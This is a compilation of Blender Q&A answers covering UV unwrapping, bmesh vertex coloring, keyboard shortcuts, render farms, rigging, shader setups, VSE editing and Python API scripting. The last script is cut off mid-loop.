In the T pannel (on the left in the 3D view) in object mode with the object selected, there is a set origin button. Try using the set origin to geometry or center of mass functions. If those dont give you the result you want, try placing the 3D cursor where you want the center to be and use set origin to 3D cursor.


Using bmesh.

Similarly to this answer loop thru the face loops and set the associated vertex to a color based on its index.

result on default uv_sphere, cube and torus

import bpy
import bmesh

context = bpy.context
mesh = context.object.data
bm = bmesh.new()
bm.from_mesh(mesh)

color_layers = bm.loops.layers.color
color_layer = color_layers.get("color") or color_layers.new("color")
L = len(bm.verts) - 1
for face in bm.faces:
    for loop in face.loops:
        x = loop.vert.index / L
        print("Vert:", loop.vert.index)
        loop[color_layer] = (x, x, x, 1)
bm.to_mesh(mesh)

Note: for large meshes could make a a look up table for vert and color to avoid calculating for same vert per face loop.

LUT = {v : v.index / L for v in bm.verts}


How to assign a double click as a keyboard shortcut

Under Blender User Preferences > Input > 3D View > Mesh

Add a new keyboard entry with the operator mesh.loop_select change input type to Mouse and select Left > Double Click


You would have to implement a custom Operator and add your code to its execute method:
class OBJECT_OT_CustomOp(bpy.types.Operator):
    """Tooltip"""
    bl_idname = "object.simple_operator"
    bl_label = "Simple Object Operator"

    def execute(self, context):

        # Your code here ...
        bpy.ops.object.select_pattern(pattern="Cube?")
        bpy.ops.object.select_pattern(pattern="Sphere?")

        return {'FINISHED'}

shortcut.py based on Create keyboard shortcut for an operator using python?
import bpy

bl_info = {
    "name": "Your Addon Name",
    "author": "Author Name",
    "version": (0, 1),
    "blender" : (2, 80, 0),
    "location": "",
    "warning": "",
    "wiki_url": "",
    "tracker_url": "",
    "category": ""
}

class OBJECT_OT_CustomOp(bpy.types.Operator):
    """Tooltip"""
    bl_idname = "object.simple_operator"
    bl_label = "Simple Object Operator"

    def execute(self, context):

        # Your code here ...
        bpy.ops.object.select_pattern(pattern="Cube?")
        bpy.ops.object.select_pattern(pattern="Sphere?")

        return {'FINISHED'}

addon_keymaps = []

def register():
    bpy.utils.register_class(OBJECT_OT_CustomOp)

    # Add the hotkey
    wm = bpy.context.window_manager
    kc = wm.keyconfigs.addon
    if kc:
        km = wm.keyconfigs.addon.keymaps.new(name='3D View', space_type='VIEW_3D')
        kmi = km.keymap_items.new(OBJECT_OT_CustomOp.bl_idname, type='W', value='PRESS', ctrl=True)
        addon_keymaps.append((km, kmi))

def unregister():
    bpy.utils.unregister_class(OBJECT_OT_CustomOp)

    # Remove the hotkey
    for km, kmi in addon_keymaps:
        km.keymap_items.remove(kmi)
    addon_keymaps.clear()

if __name__ == "__main__":
    register()


The less planar the shape is in 3D the more distortion their unwrap will result in the UV island. While planning and marking the seams always try to imagine how easy it would be to fold the shape out of paper. After all you can fold a flat shape into 3D cube perfectly, but only if you get the seams right.

That being said if you add seams in the corners of the top part you can get pretty good unwrap results. Here I further corrected some irregularity by first unwrapping all the top row quads without seams and pinning (P key) the straight line in the UV editor to guide the unwrapping algorithm. Taking from here you could also scale the vertical ends to be on same axis if that suits your purpose (better for lightmap, less accurate for texture).

Unwrapping isn't the only option for UVs though. A quick and dirty way to map non-organic shapes with OK results is to use "cube project" or use multiple "project from view" commands. If you got a lot of work to do, you might want to take advantage of this and only bother with more precise and time consuming methods when it makes a big difference.

Learning UV mapping takes time but hopefully this gives you a some initial clue on how unwrapping works.


Why is base colour wheel only giving me black as an option

You have set the luminosity to a low level. Bring it up.

The circle is to set hue and saturation. The strip to the right is to set luminosity.
Alternatively use the sliders for the different color channels.

Or use the Mouse Wheel to adjust luminosity.
To reset the color wheel to default press the ⟵ Backspace


Here, you can try something like this:

The main ingredient in getting different color books is the RANDOM output of an OBJECT INFO node. For this to work, the books must all be separate objects, so do what you already did - array the books, apply the array and separate by loose parts. Once this is done, you can apply the same material to all books (I used 2 - one for the cover and another for the pages), and the random output will generate a random color for each book. I didn't like the default colors it gave me so I mixed it with a bunch of others. That's what most of the nodes in the color section are. Play with them yourself to get different looks.

Another option is to run the black and white output of the random through a ColorRamp node. You can use a mix shader to change the degree of variation, and a "constant" ColorRamp setting to choose your own color scheme. However, I liked the selection given by the color mix to be more varied, especially when mixed with additional colors. (You can see at the end of the chain, one of the last steps to is to multiply by red. If you turn the mix factor up to 1, the red dominates all of the books and reminds me of the "books of knowledge" Britannica series of encyclopedias - my personal favorite) Use your own preference, however.

For the bands around the books, I used 2 different Wave Textures and lightened the mix to get 2 nice bands at the top and bottom.  (You can achieve this with only one wave texture if needed, I just used 2 because I was playing with different combinations). I sharpened their cut-offs with 2 ColorRamps - one for the color (yellowish for gold), and the other to be used as the basis for a mask, as well as the roughness factors, and (inverted) for the metallic (bands).

I used a noise texture, scaled up, to make the "bumps" on the covers. The mix node where I combine the noise with a light grey color has the effect of dampening the values of the noise so it loos more realistic. I mixed this combination with the (B&W) bands I already made to create a height-map of sorts, showing the bumps and making the bands appear to "stick out" from the books.

Finally, I used some ambient occlusion information combined with another noise texture to add "depth and wear" to the books. I turned on screen space reflections and ambient occlusion in the render properties panel, and lastly, added an HDRI for some better "reflections". The final result looks like this:

If you have UV unwrapped your books, you can also use a base "cover image" texture and randomize the colors by mixing them the same way as well, if you want. I'll post the .blend file, so anyone who wants can play around.
File is here -
Hope this helps


To setup a render farm you need multiple computers that can talk to each other over a network. Then you setup one as a master and the others as slaves that will get their workload from the master.

Blender includes a network render addon that just needs to be enabled in preferences then configured on each machine.

Flamenco is the new network render project being worked on.

For a small farm you can also manually start blender on each machine, giving each a different range of frames to render. With *nix machines this can be done through an ssh connection with blender -b myscene.blend -s 1 -e 10 -a, this can be expanded to a script that can automate sending the command to each machine for you.


Why does this add shader create so much noise?

This method can be used for every 3d program: you render 1 sample 200 times at same spot and combine using average mode.


Why my active rigid bodies are vibrating Continuously?

One factor that can considerably affect the Rigid Body behaviour and stability is the Scale of the objects in the scene. Where possibly you should always Apply Scale on each of the objects after you have rescaled them. This will also ensure that it behaves appropriate to its actual size rather than it's pre-scaled size and weight.

In addition, you can drastically improve the stability of the rigid body simulation by increasing the number of Iterations on the Rigid Body properties panel.

The default value is 10 and this is fine for crude simulations. Higher values provide more accurate simulations  but will take longer to simulate. Increase the number of iterations until the simulation is stable. I created a test scene with a single domino and found that increasing Iterations to 500 was plenty enough to avoid jittering without significantly affecting the simulation time.


Is there a quick way to space out timeline frames by X amount of spacing?

Scaling should work, put the cursor (blue line) where you want the pivot point to be (here, at frame 1):


when I render an Animation it shows up completely Blank

it seems that the blender file had become corrupted. I restarted the computer and opened a new file and tried the animation. I was able to copy objects over and finish the animation, thanks for all the help!!


Why does render resolution affect output quality?

There are 2 reasons:

the down-scaling can have a sharpening effect on its own - depends on the algorithm used
the higher resolution image contains more traced samples per the same area = less noise. The less noise the less blurry image. Let's say single pixel in original size received 100 samples, the same area in double the resolution would receive 400 samples.

So the apples-to-apples comparison should be rendering the original resolution with 4x the sample count and down-scaling the higher resolution with a method that does not add any sharpening.


Get proxies to follow rig generated by manuel bastioni

The problem is that your clothing has no vertex weighting, only empty groups. The solution is to delete the existing vertex groups on the clothing, then transfer the weights from the body. To do this:

1) Select the clothing and put it into weight paint mode.

2) Select the body and put it into weight paint mode as well.

3) While the body is selected, shift+select the clothing. The clothing will now show as selected.

4) Use the Transfer Weights button in the left tool shelf.

5) In the Operator (lower corner of the left tool shelf after you hit transfer weights) make sure that Source Layer is set to By Name, or it will only transfer the active bone/group.

Note that you may wish to hide the rig, as if you have a single bone selected, it may transfer only that bone.

You can also do this with the Data Transfer modifier.


How do I convert a mesh and curve into just a mesh?

Just select the mesh then press alt+c. select "Mesh from Curve/Meta/Surf/Text"


Triangles or Squares or both? Which polys are easier for to render and in number? Or what if there are more verts than 3 or 4?

As far as I know, fundamentally speaking computers only understand triangles, nothing more.

So technically whatever you use will be converted to a three sided polygons only representation of the model at render time regardless. Having a triangle based mesh or a quad based mesh should not make a very significant difference at render time.

Storing a triagulated version of a mesh however will require more data and hence more memory and storage, because of the additional edge info that is being recorded. It should not be a very significant difference though, unless you have a very large and complex mesh.

Blue is quad based Suzane, orange is the same mesh triangulated

What you should be concerned with instead is good topology to make your models easy to work with, easy to edit or modify.

Quad based topologies are also good for animation, by being easier to rig and better at deformation based transforms, it makes them easier to texture through UV Unwrapping too.


Cannot keyframe visibility in outliner "Groups" view

The group visibility in the outliner is just there for convenience to control the visibility of objects, but is not actually a property of the group.

Objects can be apart of more then one group so it wouldn't really make sense for visibility to be a group property.

Some alternatives are...

Assign the same action to all objects, then use that action to control visibility.May conflict with existing animation, so you could check on using the NLA too.
Assign a driver to objects visibility and use a single toggle to control it.
Use a frame change callback from Python and have a script inspect some property and set the visibility of the group based on it.Basically a hack to do something similar to a driver
Instance the group and change the visibility of that.Realize this isn't always a workable solution.
Solve it elsewhere, use compositing for example to enable/disable different scenes, in some cases material alpha can be used too.


Is there any way to "apply" Vertex Group blend restriction on Shape keys?

Yes there is a way. Blender sort of has its own built in thing to handle this thing. The solution is similar to this: Shape keys and applying subdivision surface modifier

However because we are dealing with the mirror modifier it becomes trickier. I assume you want to export it because you are using it for your game or something (me too). But what you do is the following:

1.) Duplicate your mesh for each shape key (including basis), you can move the clones around to see them all at once

2.) For each shape key, set each shape key slider to 1 (just leave the basis one alone)

3.) For each shape key mesh, make sure your mirror modifier is not creating or destroying vertices. So make sure vertices are not colliding with the middle of the mirror when at full 1.0 because it would change the number of vertices and break this method. They can collide halfway but because we are going to be baking deformations at 1.0 that won't matter. The vertices in a shape key are allowed to go to the other side of the mirror modifier.

3.) For each shape key mesh do Convert To -> Mesh from Curve. This "bakes" out your model with the current deformations which of course takes into account your vertex blends, mirror, and subdivision if you are using it.

4.) Select all of your baked out shape key meshes with your basis as your last.

5.) Go to the basis mesh shape key panel and go "+" button -> Join As Shapes

6.) Voila. All of your shape keys should condense as their own respective sliders into your basis mesh. If one of them is missing it would be because they differ in vertex count meaning they collided or disconnected itself from the middle of the mirror modifier. Go back and fix it. You can just inspect each meshe and check at the top right details menu where it says how many vertices you have selected. Make sure they are all the same number.

The important thing is to preserve the exact number of vertices for each shape key deformed mesh. So I assume it would also work for other types of modifiers.


Cut out everything within a volume. Is it possible?

I have no such a big terrain here ... but this should work (with blender 2.8 at least...I don't know whether older versions will work).

Create the cylinder and position it at the correct place.

Select a mesh on the terrain inside the cylinder.
Add a boolean modifier and set it to intersect. Check the result.
If ok select everything and deselect the cylinder then.
Select the mesh from before.
Copy the boolean modifier with "copy selected modifier" to all the meshes.
deselect everything. Select the mesh from the start.
Press ALT and then APPLY of the boolean modifier.
Make a backup of your blender file before :)


I think you mean dpi – dots per inch – markets default high resolution print setting.
If you're not printing, only pixel resolution matters, and it's basically the same scenario with a different resolution:

a 3000x3000px image at 72 dpi is 105x105cm.
a 3000x3000px image at 300 dpi is 25x25cm.

A high dpi image not necessarily will be crystal clear when you zoom in. Only the size in pixels count when you're looking at the screen.


First of all, you should bake the sim with a higher resolution. The resolution is not just about quality, it determines how the fluid acts. Using a resolution as low as 44 just doesn't make sense.

That being said, one possible reason why the inflow does not work is that it may be too close to the edge of the domain. Inflow objects need some space around them.

While the general wisdom is that the domain should be as small as possible, this can cause problems. Increasing the domain size should always be part of the trouble-shooting process when a fluid simulation won't work properly.


Problems with "simple-mesh" smooth shading

this seems to be something simple, I tried to recreate and this solution worked:

[select the face and click "X" or "delete" key and "dissolve vertices" (this will delete the vertices of the selected face without making a hole)]

the subdivision surface modifier use the edges distances to apply calculate smooth, if one edge is close to another, the modifier will less smooth.


There is a reported bug In Particle Edit mode, Emitter particles are not visible in the viewport. It is about Emitter particles, but Hair particles are not visible either in Blender 2.91.
As a workaround you can

bake/run the simulation
convert the desired frame to a Mesh object in the modifier's panel
use the add-on Hairnet 0.6.3 (for Blender 2.9.1) to generate a new Hair Particle System based on the mesh data

Hairnet will edit the particles and place them along the mesh edges. Use the button 'Fibremesh'. Select the mesh first, then the scalp/head (must be highlighted light orange). The script may run a while depending on the number of particles.


Not a direct answer to your question, but you can also use both procedural and image textures to drive the length of your grass:

Hair_Length_by_Image_Texture.blend

More info here.


How many induvidual keys are used as hotkey shortcuts?

I couldn't really give you a number, but I do know they have a documented list of all the shortcuts they use. It should be listed in your user preferences (because you can remap them), but you can also find a list if you search for the version you're using.

Please Take Notice: Many of the shortcuts changed for 2.8. If you're planning on using that version at any point in the future, consider taking a look at those shortcut keys, instead.


It's generally a very bad idea to rig something and then go back and change it. New vertices you create will not be assigned to any particular vertex group and new bones you create will not modify any new vertex groups, you'd have to take care of that using the weight paint tool or selecting "assign" in the vertex groups panel, or both. Do you have a blender file we can look at?


Is it possible to reset the render view zoom level to 1:1?

You use Numpad 1 to get a 1:1 zoom ratio in the Image editor. If you go to View in the header, you can see all the options there.


How to assign different colors to splines viewable in the viewport?

I see that if you give the curve object/spline a tiny bit of Depth, then you can set a material to it and see it in viewport. I have exaggerated the Depth here and set it to 'Full' but you can see here what is going on. If the spline does show a color in the imported material, possibly it will show after giving it some depth.


How to deal with a scene that has both very large and very small objects

Why not drive the scale of the objects as an inverse function to the distance of the camera? That way the camera doesn't have to move as far while the objects take up less room.

You can add drivers to the objects that you want scaled. They should take the local location of the camera and divide it into 1. Resulting in a smaller value for the scene.
In fact if there are many objects then i would parent them to an empty and simply drive it's scale.

Here are the drivers with the function attached:

Remember to copy this driver to each channel for uniform scaling.

finally remember that any materials that exist in world space will not scale with the UVs of the objects.


Is there a way to change brush fuzziness in paint mode?


How to stop rendering a renderlayer at any moment of the animation?

Renderlayers have a checkbox next to them which controls whether or not the renderlayer is rendered.

This checkbox can be animated (like most options in blender) by pressing I while hovering over the check box or by pressing  RMB> Insert keyframe to insert a keyframe.

Note that this will make the renderlayer node not output an image, so your compositing setup must be carefully designed to account for that.

If the layer you want to toggle has no alpha transparency, a simple alpha over node will let you put another image in place of the renderlayer when it is not enabled (in this example, I used a mask node to provide a solid color the same size as the render):

If the layer does have alpha transparency, this won't work.

Instead you'll have to use an animated mix setup or something.


It's because a huge amount of self-intersections:

and lots of vertex(100 thousand). So you need to simplify this map, or maybe, find a map that less complex?

So, to manage this task, I use Inkscape, as a svg editor.

In Inkscape go through groups by doble-clicking on map while status bar will say, that you selected the curve.
Next - simplify curve Ctrl + L or in menu Curve
Next, beat a self-intersections. Break apart curve by Shift +  Ctrl +K (menu Object) and Boolean union  Ctrl + +  (menu Object)
Finally, export in blender. After operations in Inkscape, object still buggy:

but in my case, there is only 3 places with intersections, that I need to fix:

Just move one vertex a little bit:

Or delete:

And how to find those dots:

Search for very top point where model starts to go wrong.


Is there a way to get the shrinkwrap constraint to move the target to the object rather than the reverse?

This probably won't be the most efficient answer, because I don't really understand what end result you are trying to achieve, but you can add something called a driver.
Drivers let you "drive" values based on other values. So you could have rotation of one object drive the global position (or any other value) of another.


It is to do with the way blender links armatures into other files. In the final video of Humane Rigging Nathan says that non-control bones should be on layers that have protected enabled and control bones should be on un-protected layers.

Even Nathan doesn't explain it much but it has something to do with the way armatures are linked between the original file and the proxy rig in another file. We are not meant to modify any rig bones in unprotected layers once the armature has a proxy rig in another file.


How could two circles be connected when one has an interrupted edge ring?

This is actually because you have a mis-matched vertex count, most likely because of a mirroring error:

You also seem to have a duplicate of the speaker:

To fix this:

Select a vertex on the speaker and press CtrlL to select connected geometry, then press Delete> vertices to delete it.
Select the extra loops on the sides and delete them with Delete > Edge loops
Bridge edge loops now works as expected.


I tried
 bpy.types.Material['custom_float'] = bpy.props.FloatProperty(name="Test Property")
Traceback (most recent call last):
  File "<blender_console>", line 1, in <module>
TypeError: 'bpy_struct_meta_idprop' object does not support item assignment

>>> bpy.types.Material[custom_float] = bpy.props.FloatProperty(name="Test Property")
Traceback (most recent call last):
  File "<blender_console>", line 1, in <module>
NameError: name 'custom_float' is not defined

>>> bpy.types.Material.custom_float = bpy.props.FloatProperty(name="Test Property")

The last one was the only one that worked
It looks like underscores are the way to go


How to start second action after check that first one is done in bge?

You can use the Actuator Sensor to measure when an actuator gets activated.

To measure deactivation you invert the sensor output with a negating controller such as NAND, NOR.

You can read it that way:

WHEN "started" -> "play turning"
WHEN "not turned" - is not -> "play lifting"

You can even add more animations. Just ensure you have one ActionActuator for each of it.

I hope it helps


sorry, I've found out the eye of the Follow Path constraint was inactive, so it's solved !   ;)


Look in the properties panel of your Graph Editor (displayed with N), it looks like you've automatically generated a Modifier > Generator. You can modify it but you won't be able to add keyframes or manipulate handles. So:

Close it.
Create 2 keyframes at frame 1 and frame n:
On the Timeline, put your cursor at frame 1 and give the Evaluation Time of your curve a value of 0 and insert a keyframe with i.
On the Timeline, put your cursor at frame X (for example 50) and give the Evaluation Time of your curve a value of 100 (for example) and insert a keyframe with i.
Now, in your Graph Editor, you can see the curve and handles that have been created, you can manipulate the handles, change their type with V or create new keyframes with i.


Using quads not always necessary. But, anyway, here how would i do this task:


is there a way to blur the edges of the holdout shader

From your screens it seems to me like you want to smooth part of an edge that is (in reality) optically smoothed by Bloom Effect.
If you can’t use bloom effect in post-production directly, try this … take your mask object, blur its alpha, invert and subtract it from alpha of fire object.

There are two issues to solve ...

ad First - your example material setup use for Volume - Emission shader, that is visible in viewport render, but invisible in render (F12). Material is rendered, but alpha for this material is not generated. From developer side the bug is viewport vs render (F12) inconsistency, but F12 is as designed = emission without alpha is correct. This can be solved by adding Volume Scatter shader.

ad Second - in blender wasn’t a way to get ID pass (or Cryptomatte) of object with volumetric material. From 2.82 beta build, blender use AOV that can output any state of material node tree. So I used AOV to separate specific alpha for Blurring.
(Properties Editor > Layers > Passes > Shader AOV, create one. Go to Shader Editor, add AOV Output node with proper name and set white colour. For more about AOV see Blender Manual or Blender Today #86.)

Note: I had to add Transparent shader to Surface (feeding only Volume didn’t object pass as well). Pass of this volumetric object get object shape, not volumetric texture.

Since your scene consist only from fire I blurred mask object (cube).
To get "fire" pass you can use Alpha socket ...

Show before/after. Sorry for poor render (6 samples only).

... or convert render with ColorRamp into black&white image. That is not mathematically accurate, but gave me nicer result.

(I created also pass for orange fire, but in this comp was not needed.)


How can you sync Blender configs between multiple machines?

Yes, this is in fact possible:

This is part of the Blender Cloud functionality is called Blender Sync.
And guess what: it is completely free!

This will sync your Blender Startup and User Preferences to the Blender Cloud and you can then retrieve it from any new install. It works even cross plattform (I use it on Linux and Windows)

First, create a blender ID here:
https://www.blender.org/id/

Then download the blender Cloud addon and install it:
https://cloud.blender.org/services

Then log in via the addon and bingo, your settings will be synced up to the cloud.

See here for all the details:
https://cloud.blender.org/blog/introducing-blender-sync

I have noticed that some people have heard of this before, but assumed that it was only part of the paid Blender Cloud. But it is in fact free. I hope this will boost your productivity and make sure you can save time only having to configure Blender once.


In my experience, most people are not going to UV map a mesh that dense.  That qualifies as high poly.
You have a few options to create a lower poly mesh that you can be more easily UV mapped.  The first and most important is manual retopology.  For a mesh like this, where we can expect little in the way of deformation, automatic remeshing tools can do the job in lieu of manual retopo.  Blender implements a few remeshers, in the way of the voxel and quad remesher tools, available in properties/object data/remesh, but they're not great.  Other alternatives include Instamesh and the paid addon Quad Remesher, which is the best in my opinion.
If you are certain that you do not want to retopo/remesh, there are some techniques that can simplify UV mapping of a dense mesh like this.  The first is select shortest path.  For me, that is select a vertex, ctrl select a distant vertex, and Blender will select all vertices along the shortest path between those two.  This can make seaming a breeze, after which, you just have to sit through however long the unwrap takes.
Of course, smart UV project unwraps will generally give you a usable UV map without any work, just a lot of CPU time.  Same with lightmap projects, although lightmap project can introduce really terrible UV distortion.
A final alternative is to make a quick, low poly cage mesh, UV map that, and then use a data transfer modifier to copy its UV map to your high poly.  This is almost always going to require some cleanup at seams.  You'll probably want to create a cage like this anyways, so that you can map your image to it and use it to do some selected-to-active texture baking (opposite of typical, baking low-to-high.)


The Attribute Randomize node will fill the specified attribute with random values, but cannot (by itself) account for the existing state of the attribute. To take the initial rotation into account, you'll want the Point Rotate node.
In the below example, rot_offset is a custom attribute filled by Attribute Randomize that is used as an offset from the initial (normal-aligned) rotation. You can name it something different if you'd like. Set the min/max bounds on this attribute to change the range of random rotation.

Note that if you want rot_offset to be considered in tangent space (treating the surface normal as positive z), you'll have to choose "Point" instead of "Object" in the Point Rotate node.


How to import a rig and animation from maya?

In past year we used Maya for aditional effects on characters (especially for cloth simulations) and we discovered that the best way to import is .mdd.

This format transfers the maya animation and convert it into animated shapes keys:

Get your first pose (in maya) and export as .obj object
Export the animation from maya as .mdd
Import the .obj object in blender
Select your object and import the animation as .mdd

Always check "keep vertex orders".


I experimented with Mandelbulb in Animation Nodes before, so yes, it is possible. However, I had to write a lot of custom code to the point that the node tree was composed entirely of nodes that don't exist in the official version of Animation Nodes. Creating what you want in the official build is extremely hard if not impossible. I shall not attempt to answer your question, but I will give you an idea about what we need.

A very quick explanation, will edit later when I have the time.

The Cycles implementation classified every point in space to either belong to the Mandelbulb set or not, the density of the volume at the points that belong to the set was initialized to a very high value, while the points that didn't belong were initialized to a zero density. The very high density rendered the set almost diffuse, that's why you can see it.

In Animation Nodes, we could similarly compute whether a point belong to the set exactly like the Cycles implementation, but what next? what are you going to do with this information? One thing you could try is for each point in a 3D grid, place an object if the point belongs to the set, this will roughly visualize the the set depending on the resolution of your grid. But if you want to create a mesh from it, we have to use something called Implicit Polygonization, the most commonly used and simplest technique is called Marching Cubes(MS). MS can polygonize binary fields(Either belong to the set or not), but for better smoother results, one has to compute a Signed Distance Field(SDF) which is somewhat hard to compute from the set (Basically you will be computing the distance between every point in space and the closest boundary of the set). But then you will need to store and compute that field somehow, Animation Nodes only support linear lists/Arrays, we will need 3D arrays, which is something we can do in Python using Numpy, a workaround would be to use Linear Indexing, but it will be less convenient.

Here are some resources to help you implement this. A full description of the problem and solution can be found in this article by Inigo Quilez. The only difference is, you will be polygonizing the SDF and not rendering it using Ray Marching. You can learn how to implement Marching Cubes from this article by Paul Bourke. Finally, you can store and compute the field using numpy, a good starting point is the meshgrid function, you can work your way through the documentation from there.


Why does mesh not follow bone perfectly?

It looks like it's a bit messy in your vertex groups and bone weights, for example if I select a group like Chest (which is duplicated by the way), but also some other bones, then press the Select button, I can see that the arms are part of these groups, maybe not enough so I can see it in Weight Paint mode, but enough to have influence on it. So maybe check all your groups, remove these vertices from these groups, or delete some bones and/or weight paint again...


Blender using sculp mode change show in sculp and object not showing in edit

You are using a Multires modifier, it fakes a higher resolution mesh, and if you sculpt it won't affect the mesh itself.

If you need to change the mesh for real, disable Multires and activate Dyntopo.

If you want to keep a low-resolution mesh and just want to bake the normals of the sculpt you've made, you can keep the Multires, and at the end bake on the same object, or you can duplicate your object, use Dyntopo on one version, then bake this Dyntopo version on the other one.

But maybe you can simply create another mesh for the eyebrows?


I solved the problem. I made a trick, I converted hair into mesh, mesh into the curve, added some resolution and thickness, and converted back to mesh...


How to get the usual render window behavior when using the render operator for multiple frames?

The whole picture

Currently there is no way executing the render process in the background using  bpy.ops.render.render() and even worse, the operator doesn't provide any arguments to pass a frame or the output path. It is like it is, and hopefully someone is going to implement that in the near future.

The limitations aside, we need to know whether the user started the rendering, if the user interrupted the process and if the rendering is finished to get the usual behavior of the render window, in any case.

In order to catch these 'states' we can wrap the render operator into a modal operator and use some of the available render handlers to get the information we need. The modal also keeps the UI responsive (non-blocking) and we can trigger a function in a very short (unnoticeable) interval by adding a timer to get the user interaction and handle all other events.

Read: Is it possible to make a sequence of renders and give the user the option to cancel the process through the UI at any given time?

Render camera markers in the timeline

To get the usual behavior and window for rendering the markers in the timeline, I would suggest the following changes to the operator of the linked answer:

Modal operator which allows to render all camera markers (base color of the shader is keyframed)

Assign the marker references to the shot variable in the execute method. That's simple enough and you still have access to all marker properties in the modal method:

def execute(self, context):
    # Define the variables during execution. This allows
    # to define when called from a button
    self.stop = False
    self.rendering = False

    # Get all markers in a list and assign them to shot variable
    self.shots = [m for m in context.scene.timeline_markers if m.camera is not None]
    ...

Read the first element of the shot-list to get TimeLineMarker.frame and TimeLineMarker.camera attribute in order to set the frame and assemble the output file path based on that:

    elif self.rendering is False: # Nothing is currently rendering.
                                  # Proceed to render.
        if self.shots:
            # Get the first marker in the list
            marker = self.shots[0]
            frame_number = marker.frame
            camera_name = marker.camera.name

            # Assemble the file path
            # -> output path + camera name + frame
            scn.render.filepath = os.path.join(
                        self.path,
                        "{}_{}.jpg".format(camera_name, frame_number))

            # Set the frame
            scn.frame_set(frame_number)

            # Call the render operator
            bpy.ops.render.render("INVOKE_DEFAULT", write_still=True)

return {"PASS_THROUGH"}

Finally reset the output path in case the user interrupts the rendering:

if event.type == 'TIMER':
    scn = context.scene

    # No frames in the list or user hits ESC
    if True in (not self.shots, self.stop is True):

        ...

        # Reset the output path
        scn.render.filepath = self.path
        return {"FINISHED"}

Note: As of 2.81+ you'll have to add new depsgraph arguments to all handler methods:

# Set up the handler methods
def pre(self, scene, depsgraph):
    self.rendering = True

def post(self, scene, depsgraph):
    self.shots.pop(0)
    self.rendering = False

def cancelled(self, scene, depsgraph):
    self.stop = True

Otherwise the setup will cause an infinite loop for whatever reason.


Boolean modifier not making new faces in mesh

The problems I have with booleans usually relate to two meshes having one or more vertices in the same place. You might be able to fix this by scaling one of the objects slightly, but this obviously will change its size. You might be able to manually move the offending vertices out of each others' way.
Another possibility is you created an object in an older version of Blender, and have now opened it in a newer version of Blender. The data structures are not the same, and booleans will give unexpected results.
Another thing you can try is to run the 3d printing checks, and fix any problems that crop up before applying your booleans.


Getting a stack trace when addon crashes Blender

If you really want to invest time to find why it crashes you might be best doing your own debug build of Blender and checking exactly where it crashes in a debugger.

Failing that, blender does write a stack trace on exit (on Linux at least).

Try run blender from a terminal and on crash you will get a message like...

Writing: /tmp/blender.crash.txt

# Blender 2.69 (sub 9), Unknown revision
bpy.data.window_managers["WinMan"].(null) = 'F8'  # Property
bpy.data.window_managers["WinMan"].(null) = 'F8'  # Property

# backtrace
/src/blender/blender.bin() [0x709cf1]
/src/blender/blender.bin() [0x709f7a]
/usr/lib/libc.so.6(+0x353e0) [0x7f617dd343e0]
/src/blender/blender.bin() [0x141ca0c]
/src/blender/blender.bin(RNA_property_type+0x27) [0x141d77e]
/src/blender/blender.bin(RNA_property_collection_begin+0x2f) [0x1424665]
/src/blender/blender.bin(WM_operator_properties_sanitize+0x55) [0x727453]
/src/blender/blender.bin() [0x720de3]
/src/blender/blender.bin(WM_keyconfig_update+0x9f) [0x7240bb]
/src/blender/blender.bin(wm_event_do_handlers+0xa03) [0x718d6a]
/src/blender/blender.bin(WM_main+0x33) [0x70da43]
/src/blender/blender.bin(main+0x44d) [0x70c971]
/usr/lib/libc.so.6(__libc_start_main+0xf5) [0x7f617dd20b05]
/src/blender/blender.bin() [0x709009]

Or you could look into Pythons faulthandler module, which can catch segfaults and report information about this too.


Replace matrix @ vector list comprehensions with something more efficient

Quickest way AFAIK:

mat = np.array(self.curveObj.matrix_world)

verts_co = np.zeros((vertCount*3), dtype=np.float)
mesh.vertices.foreach_get("co", verts_co)
verts_co.shape = (vertCount, 3)
verts_co_4d = np.ones(shape=(vertCount, 4), dtype=np.float)
verts_co_4d[:, :-1] = verts_co  # cos v (x,y,z,1) - point,   v(x,y,z,0)- vector
splinePoints_world = np.einsum('ij,aj->ai', mat, splinePoints)


Is it possible to add a new window type using the Python API?

Currently it's not possible, though it's been discussed a few times. Having custom PySpaces would be convenient, but I don't think it's officially on any roadmap.


how to match deinterlaced video to audio using Blender VSE

Sorry but the bottom line is that Blender doesn't like the formatting of this media. Sorry. It is frame segmented instead of strictly interlaced and just confuses the ffmpeg that Blender uses. I have the same problem with media from my Sony P&S camera.


VSE: Shrink and overlay one video over another

Just insert your FHD Base Video strip in the VSE, then on a channel above insert the SD Overlay strip and mute it (Strip - Mute Strips or just press H).

For preserving the aspect ratio and the original size of your SD Overlay strip you might need to check Image Offset in the Strip Input properties as well as your SD Overlay strip is not the same aspect ratio as your FDH Base Video (and as your project Resolution under Dimensions in a Properties View should be).

With the SD strip selected Add an Effect Strip - Transform with an Alpha Over Blend in the Edit Strip properties. And finally transform its Position and Scale (for preserving your aspect ratio you should check Uniform Scale) under the Effect Strip properties.

Instead of changing the Position in Percent (as per default) you can change the Translation Unit to Pixels in the same Effect Strip poperties if needed.

There is a great Tutorial of that on YouTube from Mikeycal Meyers.


If the object is supposed to move around, you're best off parenting a point lamp to it of the same color.

Add lamp and object at the same location
Make material for object "shadeless"
Make lamp same color (copy/paste hexadecimal values)
Parent lamp to object
Profit

if the object isn't going to be moving i.e. a stationary lamp or glowy gem, or wall torch or dropped phone the best route to take is to bake all the textures of the objects around it. this should save alot of processor speed since it doesn't have to render another lamp.

if you want me to write that part too, I can. but for now look up "cycles texture baking" on youtube. it will make your life much happier.


Is there any way or addon to facilitate the attachment/alignment of armor to a model?

Juding by your model, rough scaling should work but since the scale has already been altered, the best methods you have are :-

  Using Shrinkwrap:- Delete the outer faces and use the shrinkwrap modifier to stick to the faces to the main model's mesh directly or use a lattice. Then add a solidify modifier to give it some thickness
  Retopologizing:-

  Turn on snapping and change the mode to face and then snap the individual faces/verts on the main mesh and use solidify to give it some thickness.


Is there a straightforward way to map all my vertices from a cubic space to a cylindrical space?

Squircle and shapekey

Subdivided cube run thru script to give squircle generated cylinder shapekey.
In How can I morph a flat plane to be a flat cirlce?  I have shown one of a number of square to circle mappings.
The mapping maps XY coords to a radius 1 circle, result shown above using default cube.  For radius not equal to one would have to scale and rescale accordingly, or make radius an argument of mapping.
Note: This is the squircle mapping, as demonstrated I did go thru and provide an example of all the mappings, if I find the file will add the conformal mapping. As explained in link in linked answer.
import bpy
import bmesh
from math import sqrt
from bpy import context
collection = context.collection
ob = context.object
me = ob.data
def squircle(x, y):
    u = x * sqrt(1 - y * y / 2)
    v = y * sqrt(1 - x * x / 2)
    return u, v

sk = ob.shape_key_add(name="Basis")
ci = ob.shape_key_add(name="Cylinder")
for v in me.vertices:
